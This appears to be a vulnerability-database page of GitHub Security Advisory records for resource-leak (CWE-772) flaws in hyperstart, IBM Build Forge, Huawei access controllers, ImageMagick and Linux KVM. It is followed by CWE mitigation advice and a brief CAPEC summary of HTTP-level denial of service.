    "severity": "MODERATE"
  },
  "details": "hyperstart 1.0.0 in HyperHQ Hyper has memory leaks in the container_setup_modules and hyper_rescan_scsi functions in container.c, related to runV 1.0.0 for Docker.",
  "id": "GHSA-p38x-vhph-j2vp",
  "modified": "2022-05-13T01:48:43Z",
  "published": "2022-05-13T01:48:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-10205"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hyperhq/hyperstart/pull/350"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P6PQ-895R-FFHG

Vulnerability from github – Published: 2022-05-01 23:47 – Updated: 2024-02-09 03:32
VLAI
Details

IBM Rational Build Forge 7.0.2 allows remote attackers to cause a denial of service (CPU consumption) via a port scan, which spawns multiple bfagent server processes that attempt to read data from closed sockets.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2008-2122"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-772"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-05-09T15:20:00Z",
    "severity": "MODERATE"
  },
  "details": "IBM Rational Build Forge 7.0.2 allows remote attackers to cause a denial of service (CPU consumption) via a port scan, which spawns multiple bfagent server processes that attempt to read data from closed sockets.",
  "id": "GHSA-p6pq-895r-ffhg",
  "modified": "2024-02-09T03:32:53Z",
  "published": "2022-05-01T23:47:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-2122"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/42173"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/30081"
    },
    {
      "type": "WEB",
      "url": "http://www-1.ibm.com/support/docview.wss?uid=swg21303877"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/29036"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id?1019964"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2008/1427/references"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P93C-3MPJ-P43W

Vulnerability from github – Published: 2022-05-13 01:44 – Updated: 2022-05-13 01:44
VLAI
Details

AC6005 with software V200R006C10, AC6605 with software V200R006C10 have a DoS Vulnerability. An attacker can send malformed packets to the device, which causes the device memory leaks, leading to DoS attacks.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-2700"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-772"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-11-22T19:29:00Z",
    "severity": "HIGH"
  },
  "details": "AC6005 with software V200R006C10, AC6605 with software V200R006C10 have a DoS Vulnerability. An attacker can send malformed packets to the device, which causes the device memory leaks, leading to DoS attacks.",
  "id": "GHSA-p93c-3mpj-p43w",
  "modified": "2022-05-13T01:44:54Z",
  "published": "2022-05-13T01:44:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-2700"
    },
    {
      "type": "WEB",
      "url": "http://www.huawei.com/en/psirt/security-advisories/huawei-sa-20170517-01-ac-en"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/102166"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P9P3-67RP-FC9G

Vulnerability from github – Published: 2022-05-13 01:44 – Updated: 2025-04-20 03:50
VLAI
Details

In ImageMagick 7.0.7-12 Q16, a memory leak vulnerability was found in the function ReadXPMImage in coders/xpm.c, which allows attackers to cause a denial of service via a crafted xpm image file.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-17680"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-772"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-12-14T06:29:00Z",
    "severity": "MODERATE"
  },
  "details": "In ImageMagick 7.0.7-12 Q16, a memory leak vulnerability was found in the function ReadXPMImage in coders/xpm.c, which allows attackers to cause a denial of service via a crafted xpm image file.",
  "id": "GHSA-p9p3-67rp-fc9g",
  "modified": "2025-04-20T03:50:00Z",
  "published": "2022-05-13T01:44:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-17680"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ImageMagick/ImageMagick/issues/873"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/3681-1"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/102203"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PCW3-W336-M348

Vulnerability from github – Published: 2022-05-13 01:44 – Updated: 2022-05-13 01:44
VLAI
Details

The nested_vmx_check_vmptr function in arch/x86/kvm/vmx.c in the Linux kernel through 4.9.8 improperly emulates the VMXON instruction, which allows KVM L1 guest OS users to cause a denial of service (host OS memory consumption) by leveraging the mishandling of page references.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-2596"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-772"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-02-06T06:59:00Z",
    "severity": "MODERATE"
  },
  "details": "The nested_vmx_check_vmptr function in arch/x86/kvm/vmx.c in the Linux kernel through 4.9.8 improperly emulates the VMXON instruction, which allows KVM L1 guest OS users to cause a denial of service (host OS memory consumption) by leveraging the mishandling of page references.",
  "id": "GHSA-pcw3-w336-m348",
  "modified": "2022-05-13T01:44:53Z",
  "published": "2022-05-13T01:44:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-2596"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2017:1842"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2017:2077"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2017-2596"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1417812"
    },
    {
      "type": "WEB",
      "url": "http://www.debian.org/security/2017/dsa-3791"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2017/01/31/4"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/95878"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation MIT-3
Requirements

Strategy: Language Selection

  • Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, languages such as Java, Ruby, and Lisp perform automatic garbage collection that releases memory for objects that have been deallocated.
Mitigation
Implementation

It is good practice to be responsible for freeing all resources you allocate and to be consistent with how and where you free resources in a function. If you allocate resources that you intend to free upon completion of the function, you must be sure to free the resources at all exit points for that function including error conditions.

Mitigation MIT-47
Operation Architecture and Design

Strategy: Resource Limitation

  • Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.
  • When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.
  • Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
CAPEC-469: HTTP DoS

An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted.